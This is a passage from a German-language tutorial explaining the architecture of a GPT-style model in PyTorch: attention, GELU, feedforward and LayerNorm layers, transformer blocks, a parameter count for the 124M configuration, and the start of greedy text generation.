self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"])
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x
|
||||
x = self.norm1(x)
|
||||
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
# Shortcut connection for feed forward block
|
||||
shortcut = x
|
||||
x = self.norm2(x)
|
||||
x = self.ff(x)
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
return x
|
||||
|
||||
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(
|
||||
cfg["emb_dim"], cfg["vocab_size"], bias=False
|
||||
)
|
||||
|
||||
def forward(self, in_idx):
|
||||
batch_size, seq_len = in_idx.shape
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
|
||||
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_emb(x)
|
||||
x = self.trf_blocks(x)
|
||||
x = self.final_norm(x)
|
||||
logits = self.out_head(x)
|
||||
return logits
|
||||
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
out = model(batch)
|
||||
print("Input batch:\n", batch)
|
||||
print("\nOutput shape:", out.shape)
|
||||
print(out)
|
||||
```
|
||||
### **GELU-Aktivierungsfunktion**
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
```
|
||||
#### **Zweck und Funktionalität**
|
||||
|
||||
- **GELU (Gaussian Error Linear Unit):** Eine Aktivierungsfunktion, die Nichtlinearität in das Modell einführt.
|
||||
- **Glatte Aktivierung:** Im Gegensatz zu ReLU, das negative Eingaben auf null setzt, ordnet GELU Eingaben glatt Ausgaben zu und ermöglicht kleine, von null verschiedene Werte für negative Eingaben.
|
||||
- **Mathematische Definition:**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Das Ziel der Verwendung dieser Funktion nach linearen Schichten innerhalb der FeedForward-Schicht besteht darin, die linearen Daten nicht linear zu machen, um dem Modell zu ermöglichen, komplexe, nicht-lineare Beziehungen zu lernen.
|
||||
|
||||
### **FeedForward-Neuronales Netzwerk**
|
||||
|
||||
_Formen wurden als Kommentare hinzugefügt, um die Formen der Matrizen besser zu verstehen:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
```
|
||||
#### **Zweck und Funktionalität**
|
||||
|
||||
- **Positionsweise FeedForward-Netzwerk:** Wendet ein zweilagiges vollständig verbundenes Netzwerk auf jede Position separat und identisch an.
|
||||
- **Schichtdetails:**
|
||||
- **Erste lineare Schicht:** Erweitert die Dimensionalität von `emb_dim` auf `4 * emb_dim`.
|
||||
- **GELU-Aktivierung:** Wendet Nichtlinearität an.
|
||||
- **Zweite lineare Schicht:** Reduziert die Dimensionalität zurück auf `emb_dim`.
|
||||
|
||||
> [!NOTE]
|
||||
> Wie Sie sehen können, verwendet das Feed Forward-Netzwerk 3 Schichten. Die erste ist eine lineare Schicht, die die Dimensionen mit 4 multipliziert, indem sie lineare Gewichte (Parameter, die im Modell trainiert werden) verwendet. Dann wird die GELU-Funktion in all diesen Dimensionen verwendet, um nicht-lineare Variationen anzuwenden, um reichhaltigere Darstellungen zu erfassen, und schließlich wird eine weitere lineare Schicht verwendet, um zur ursprünglichen Größe der Dimensionen zurückzukehren.
|
||||
|
||||
### **Multi-Head Attention-Mechanismus**
|
||||
|
||||
Dies wurde bereits in einem früheren Abschnitt erklärt.
|
||||
|
||||
#### **Zweck und Funktionalität**
|
||||
|
||||
- **Multi-Head Self-Attention:** Ermöglicht es dem Modell, sich auf verschiedene Positionen innerhalb der Eingabesequenz zu konzentrieren, wenn es ein Token kodiert.
|
||||
- **Schlüsselfunktionen:**
|
||||
- **Abfragen, Schlüssel, Werte:** Lineare Projektionen der Eingabe, die zur Berechnung der Aufmerksamkeitswerte verwendet werden.
|
||||
- **Köpfe:** Mehrere Aufmerksamkeitsmechanismen, die parallel laufen (`num_heads`), jeder mit einer reduzierten Dimension (`head_dim`).
|
||||
- **Aufmerksamkeitswerte:** Berechnet als das Skalarprodukt von Abfragen und Schlüsseln, skaliert und maskiert.
|
||||
- **Maskierung:** Eine kausale Maske wird angewendet, um zu verhindern, dass das Modell zukünftige Tokens berücksichtigt (wichtig für autoregressive Modelle wie GPT).
|
||||
- **Aufmerksamkeitsgewichte:** Softmax der maskierten und skalierten Aufmerksamkeitswerte.
|
||||
- **Kontextvektor:** Gewichtete Summe der Werte, entsprechend den Aufmerksamkeitsgewichten.
|
||||
- **Ausgabeprojektion:** Lineare Schicht zur Kombination der Ausgaben aller Köpfe.
|
||||
|
||||
> [!NOTE]
|
||||
> Das Ziel dieses Netzwerks ist es, die Beziehungen zwischen Tokens im gleichen Kontext zu finden. Darüber hinaus werden die Tokens in verschiedene Köpfe unterteilt, um Überanpassung zu verhindern, obwohl die endgültigen Beziehungen, die pro Kopf gefunden werden, am Ende dieses Netzwerks kombiniert werden.
|
||||
>
|
||||
> Darüber hinaus wird während des Trainings eine **kausale Maske** angewendet, sodass spätere Tokens nicht berücksichtigt werden, wenn die spezifischen Beziehungen zu einem Token betrachtet werden, und es wird auch ein **Dropout** angewendet, um **Überanpassung zu verhindern**.
|
||||
|
||||
### **Schicht** Normalisierung
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5 # Prevent division by zero during normalization.
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
```
|
||||
#### **Zweck und Funktionalität**
|
||||
|
||||
- **Layer Normalization:** Eine Technik, die verwendet wird, um die Eingaben über die Merkmale (Einbettungsdimensionen) für jedes einzelne Beispiel in einem Batch zu normalisieren.
|
||||
- **Komponenten:**
|
||||
- **`eps`:** Eine kleine Konstante (`1e-5`), die zur Varianz hinzugefügt wird, um eine Division durch Null während der Normalisierung zu verhindern.
|
||||
- **`scale` und `shift`:** Lernbare Parameter (`nn.Parameter`), die es dem Modell ermöglichen, die normalisierte Ausgabe zu skalieren und zu verschieben. Sie werden jeweils mit Einsen und Nullen initialisiert.
|
||||
- **Normalisierungsprozess:**
|
||||
- **Mittelwert berechnen (`mean`):** Berechnet den Mittelwert der Eingabe `x` über die Einbettungsdimension (`dim=-1`), wobei die Dimension für das Broadcasting beibehalten wird (`keepdim=True`).
|
||||
- **Varianz berechnen (`var`):** Berechnet die Varianz von `x` über die Einbettungsdimension und behält ebenfalls die Dimension bei. Der Parameter `unbiased=False` stellt sicher, dass die Varianz mit dem verzerrten Schätzer berechnet wird (Division durch `N` anstelle von `N-1`), was angemessen ist, wenn über Merkmale und nicht über Proben normalisiert wird.
|
||||
- **Normalisieren (`norm_x`):** Subtrahiert den Mittelwert von `x` und dividiert durch die Quadratwurzel der Varianz plus `eps`.
|
||||
- **Skalieren und Verschieben:** Wendet die lernbaren `scale`- und `shift`-Parameter auf die normalisierte Ausgabe an.
|
||||
|
||||
> [!NOTE]
|
||||
> Das Ziel ist es, einen Mittelwert von 0 mit einer Varianz von 1 über alle Dimensionen des gleichen Tokens sicherzustellen. Das Ziel davon ist es, **das Training von tiefen neuronalen Netzwerken zu stabilisieren**, indem der interne Kovariate Shift reduziert wird, der sich auf die Veränderung der Verteilung der Netzwerkaktivierungen aufgrund der Aktualisierung der Parameter während des Trainings bezieht.
|
||||
|
||||
### **Transformer Block**
|
||||
|
||||
_Erklärungen zu den Formen wurden als Kommentare hinzugefügt, um die Formen der Matrizen besser zu verstehen:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"]
|
||||
)
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for feedforward block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
```
|
||||
#### **Zweck und Funktionalität**
|
||||
|
||||
- **Zusammensetzung der Schichten:** Kombiniert Multi-Head-Attention, Feedforward-Netzwerk, Layer-Normalisierung und Residualverbindungen.
|
||||
- **Layer-Normalisierung:** Vor der Attention- und Feedforward-Schicht für stabiles Training angewendet.
|
||||
- **Residualverbindungen (Abkürzungen):** Fügen den Eingang einer Schicht zu ihrem Ausgang hinzu, um den Gradientfluss zu verbessern und das Training tiefer Netzwerke zu ermöglichen.
|
||||
- **Dropout:** Nach der Attention- und Feedforward-Schicht zur Regularisierung angewendet.
|
||||
|
||||
#### **Schritt-für-Schritt-Funktionalität**
|
||||
|
||||
1. **Erster Residualpfad (Selbst-Attention):**
|
||||
- **Eingang (`shortcut`):** Speichern Sie den ursprünglichen Eingang für die Residualverbindung.
|
||||
- **Layer Norm (`norm1`):** Normalisieren Sie den Eingang.
|
||||
- **Multi-Head-Attention (`att`):** Wenden Sie Selbst-Attention an.
|
||||
- **Dropout (`drop_shortcut`):** Wenden Sie Dropout zur Regularisierung an.
|
||||
- **Add Residual (`x + shortcut`):** Kombinieren Sie mit dem ursprünglichen Eingang.
|
||||
2. **Zweiter Residualpfad (FeedForward):**
|
||||
- **Eingang (`shortcut`):** Speichern Sie den aktualisierten Eingang für die nächste Residualverbindung.
|
||||
- **Layer Norm (`norm2`):** Normalisieren Sie den Eingang.
|
||||
- **FeedForward-Netzwerk (`ff`):** Wenden Sie die Feedforward-Transformation an.
|
||||
- **Dropout (`drop_shortcut`):** Wenden Sie Dropout an.
|
||||
- **Add Residual (`x + shortcut`):** Kombinieren Sie mit dem Eingang vom ersten Residualpfad.
|
||||
|
||||
> [!NOTE]
|
||||
> Der Transformer-Block gruppiert alle Netzwerke zusammen und wendet einige **Normalisierungen** und **Dropouts** an, um die Trainingsstabilität und -ergebnisse zu verbessern.\
|
||||
> Beachten Sie, wie Dropouts nach der Verwendung jedes Netzwerks durchgeführt werden, während die Normalisierung vorher angewendet wird.
|
||||
>
|
||||
> Darüber hinaus verwendet er auch Abkürzungen, die darin bestehen, **den Ausgang eines Netzwerks mit seinem Eingang zu addieren**. Dies hilft, das Problem des verschwindenden Gradienten zu verhindern, indem sichergestellt wird, dass die anfänglichen Schichten "so viel" beitragen wie die letzten.
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
_Größen wurden als Kommentare hinzugefügt, um die Größen der Matrizen besser zu verstehen:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
# shape: (vocab_size, emb_dim)
|
||||
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
# shape: (context_length, emb_dim)
|
||||
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
|
||||
)
|
||||
# Stack of TransformerBlocks
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
|
||||
# shape: (emb_dim, vocab_size)
|
||||
|
||||
def forward(self, in_idx):
|
||||
# in_idx shape: (batch_size, seq_len)
|
||||
batch_size, seq_len = in_idx.shape
|
||||
|
||||
# Token embeddings
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
# shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Positional embeddings
|
||||
pos_indices = torch.arange(seq_len, device=in_idx.device)
|
||||
# shape: (seq_len,)
|
||||
pos_embeds = self.pos_emb(pos_indices)
|
||||
# shape: (seq_len, emb_dim)
|
||||
|
||||
# Add token and positional embeddings
|
||||
x = tok_embeds + pos_embeds # Broadcasting over batch dimension
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.drop_emb(x) # Dropout applied
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.trf_blocks(x) # Pass through Transformer blocks
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.final_norm(x) # Final LayerNorm
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
logits = self.out_head(x) # Project to vocabulary size
|
||||
# logits shape: (batch_size, seq_len, vocab_size)
|
||||
|
||||
return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
```
|
||||
#### **Zweck und Funktionalität**
|
||||
|
||||
- **Embedding-Schichten:**
|
||||
- **Token-Embeddings (`tok_emb`):** Wandelt Token-Indizes in Embeddings um. Zur Erinnerung, dies sind die Gewichte, die jeder Dimension jedes Tokens im Vokabular zugewiesen werden.
|
||||
- **Positions-Embeddings (`pos_emb`):** Fügt den Embeddings Positionsinformationen hinzu, um die Reihenfolge der Tokens zu erfassen. Zur Erinnerung, dies sind die Gewichte, die Tokens entsprechend ihrer Position im Text zugewiesen werden.
|
||||
- **Dropout (`drop_emb`):** Wird auf Embeddings zur Regularisierung angewendet.
|
||||
- **Transformer-Blöcke (`trf_blocks`):** Stapel von `n_layers` Transformer-Blöcken zur Verarbeitung von Embeddings.
|
||||
- **Finale Normalisierung (`final_norm`):** Schichtnormalisierung vor der Ausgabeschicht.
|
||||
- **Ausgabeschicht (`out_head`):** Projiziert die finalen versteckten Zustände auf die Größe des Vokabulars, um Logits für die Vorhersage zu erzeugen.
|
||||
|
||||
> [!NOTE]
|
||||
> Das Ziel dieser Klasse ist es, alle anderen genannten Netzwerke zu **benutzen, um das nächste Token in einer Sequenz vorherzusagen**, was grundlegend für Aufgaben wie die Textgenerierung ist.
|
||||
>
|
||||
> Beachten Sie, wie es **so viele Transformer-Blöcke verwenden wird, wie angegeben** und dass jeder Transformer-Block ein Multi-Head-Attention-Netz, ein Feed-Forward-Netz und mehrere Normalisierungen verwendet. Wenn also 12 Transformer-Blöcke verwendet werden, multiplizieren Sie dies mit 12.
|
||||
>
|
||||
> Darüber hinaus wird eine **Normalisierungs**-Schicht **vor** der **Ausgabe** hinzugefügt und eine finale lineare Schicht wird am Ende angewendet, um die Ergebnisse mit den richtigen Dimensionen zu erhalten. Beachten Sie, dass jeder finale Vektor die Größe des verwendeten Vokabulars hat. Dies liegt daran, dass versucht wird, eine Wahrscheinlichkeit pro mögliches Token im Vokabular zu erhalten.
|
||||
|
||||
## Anzahl der zu trainierenden Parameter
|
||||
|
||||
Nachdem die GPT-Struktur definiert ist, ist es möglich, die Anzahl der zu trainierenden Parameter zu ermitteln:
|
||||
```python
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
total_params = sum(p.numel() for p in model.parameters())
|
||||
print(f"Total number of parameters: {total_params:,}")
|
||||
# Total number of parameters: 163,009,536
|
||||
```
|
||||
### **Schritt-für-Schritt-Berechnung**
|
||||
|
||||
#### **1. Einbettungsschichten: Token-Einbettung & Positions-Einbettung**
|
||||
|
||||
- **Schicht:** `nn.Embedding(vocab_size, emb_dim)`
|
||||
- **Parameter:** `vocab_size * emb_dim`
|
||||
```python
|
||||
token_embedding_params = 50257 * 768 = 38,597,376
|
||||
```
|
||||
- **Schicht:** `nn.Embedding(context_length, emb_dim)`
|
||||
- **Parameter:** `context_length * emb_dim`
|
||||
```python
|
||||
position_embedding_params = 1024 * 768 = 786,432
|
||||
```
|
||||
**Gesamtzahl der Einbettungsparameter**
|
||||
```python
|
||||
embedding_params = token_embedding_params + position_embedding_params
|
||||
embedding_params = 38,597,376 + 786,432 = 39,383,808
|
||||
```
|
||||
#### **2. Transformer-Blöcke**
|
||||
|
||||
Es gibt 12 Transformer-Blöcke, daher berechnen wir die Parameter für einen Block und multiplizieren dann mit 12.
|
||||
|
||||
**Parameter pro Transformer-Block**
|
||||
|
||||
**a. Multi-Head Attention**
|
||||
|
||||
- **Komponenten:**
|
||||
- **Query Linear Layer (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
- **Key Linear Layer (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
- **Value Linear Layer (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
- **Output Projection (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
|
||||
- **Berechnungen:**
|
||||
|
||||
- **Jeder von `W_query`, `W_key`, `W_value`:**
|
||||
|
||||
```python
|
||||
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
|
||||
```
|
||||
|
||||
Da es drei solcher Schichten gibt:
|
||||
|
||||
```python
|
||||
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
|
||||
```
|
||||
|
||||
- **Output Projection (`out_proj`):**
|
||||
|
||||
```python
|
||||
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
|
||||
```
|
||||
|
||||
- **Gesamtzahl der Multi-Head Attention-Parameter:**
|
||||
|
||||
```python
|
||||
mha_params = total_qkv_params + out_proj_params
|
||||
mha_params = 1,769,472 + 590,592 = 2,360,064
|
||||
```
|
||||
|
||||
**b. FeedForward-Netzwerk**
|
||||
|
||||
- **Komponenten:**
|
||||
- **Erste Linear Layer:** `nn.Linear(emb_dim, 4 * emb_dim)`
|
||||
- **Zweite Linear Layer:** `nn.Linear(4 * emb_dim, emb_dim)`
|
||||
- **Berechnungen:**
|
||||
|
||||
- **Erste Linear Layer:**
|
||||
|
||||
```python
|
||||
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
|
||||
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
|
||||
```
|
||||
|
||||
- **Zweite Linear Layer:**
|
||||
|
||||
```python
|
||||
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
|
||||
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
|
||||
```
|
||||
|
||||
- **Gesamtzahl der FeedForward-Parameter:**
|
||||
|
||||
```python
|
||||
ff_params = ff_first_layer_params + ff_second_layer_params
|
||||
ff_params = 2,362,368 + 2,360,064 = 4,722,432
|
||||
```
|
||||
|
||||
**c. Layer-Normalisierungen**
|
||||
|
||||
- **Komponenten:**
|
||||
- Zwei `LayerNorm`-Instanzen pro Block.
|
||||
- Jede `LayerNorm` hat `2 * emb_dim` Parameter (Skalierung und Verschiebung).
|
||||
- **Berechnungen:**
|
||||
|
||||
```python
|
||||
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
```
|
||||
|
||||
**d. Gesamtparameter pro Transformer-Block**
|
||||
```python
|
||||
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
|
||||
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
|
||||
```
|
||||
**Gesamtparameter für alle Transformatorblöcke**
|
||||
```python
|
||||
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
|
||||
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
```
|
||||
#### **3. Finale Schichten**
|
||||
|
||||
**a. Finale Schichtnormalisierung**
|
||||
|
||||
- **Parameter:** `2 * emb_dim` (Skalierung und Verschiebung)
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
**b. Ausgabeprojektionsebene (`out_head`)**
|
||||
|
||||
- **Ebene:** `nn.Linear(emb_dim, vocab_size, bias=False)`
|
||||
- **Parameter:** `emb_dim * vocab_size`
|
||||
```python
|
||||
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
|
||||
```
|
||||
#### **4. Zusammenfassung aller Parameter**
|
||||
```python
|
||||
pythonCopy codetotal_params = (
|
||||
embedding_params +
|
||||
total_transformer_blocks_params +
|
||||
final_layer_norm_params +
|
||||
output_projection_params
|
||||
)
|
||||
total_params = (
|
||||
39,383,808 +
|
||||
85,026,816 +
|
||||
1,536 +
|
||||
38,597,376
|
||||
)
|
||||
total_params = 163,009,536
|
||||
```
|
||||
## Text generieren
|
||||
|
||||
Ein Modell, das das nächste Token wie das vorherige vorhersagt, benötigt lediglich die letzten Token-Werte aus der Ausgabe (da dies die Werte des vorhergesagten Tokens sein werden), was ein **Wert pro Eintrag im Vokabular** ist. Dann wird die `softmax`-Funktion verwendet, um die Dimensionen in Wahrscheinlichkeiten zu normalisieren, die sich zu 1 summieren, und anschließend wird der Index des größten Eintrags ermittelt, der der Index des Wortes im Vokabular sein wird.
|
||||
|
||||
Code von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
def generate_text_simple(model, idx, max_new_tokens, context_size):
|
||||
# idx is (batch, n_tokens) array of indices in the current context
|
||||
for _ in range(max_new_tokens):
|
||||
|
||||
# Crop current context if it exceeds the supported context size
|
||||
# E.g., if LLM supports only 5 tokens, and the context size is 10
|
||||
# then only the last 5 tokens are used as context
|
||||
idx_cond = idx[:, -context_size:]
|
||||
|
||||
# Get the predictions
|
||||
with torch.no_grad():
|
||||
logits = model(idx_cond)
|
||||
|
||||
# Focus only on the last time step
|
||||
# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
|
||||
logits = logits[:, -1, :]
|
||||
|
||||
# Apply softmax to get probabilities
|
||||
probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
|
||||
|
||||
# Get the idx of the vocab entry with the highest probability value
|
||||
idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
|
||||
|
||||
# Append sampled index to the running sequence
|
||||
idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
|
||||
|
||||
return idx
|
||||
|
||||
|
||||
start_context = "Hello, I am"
|
||||
|
||||
encoded = tokenizer.encode(start_context)
|
||||
print("encoded:", encoded)
|
||||
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0)
|
||||
print("encoded_tensor.shape:", encoded_tensor.shape)
|
||||
|
||||
model.eval() # disable dropout
|
||||
|
||||
out = generate_text_simple(
|
||||
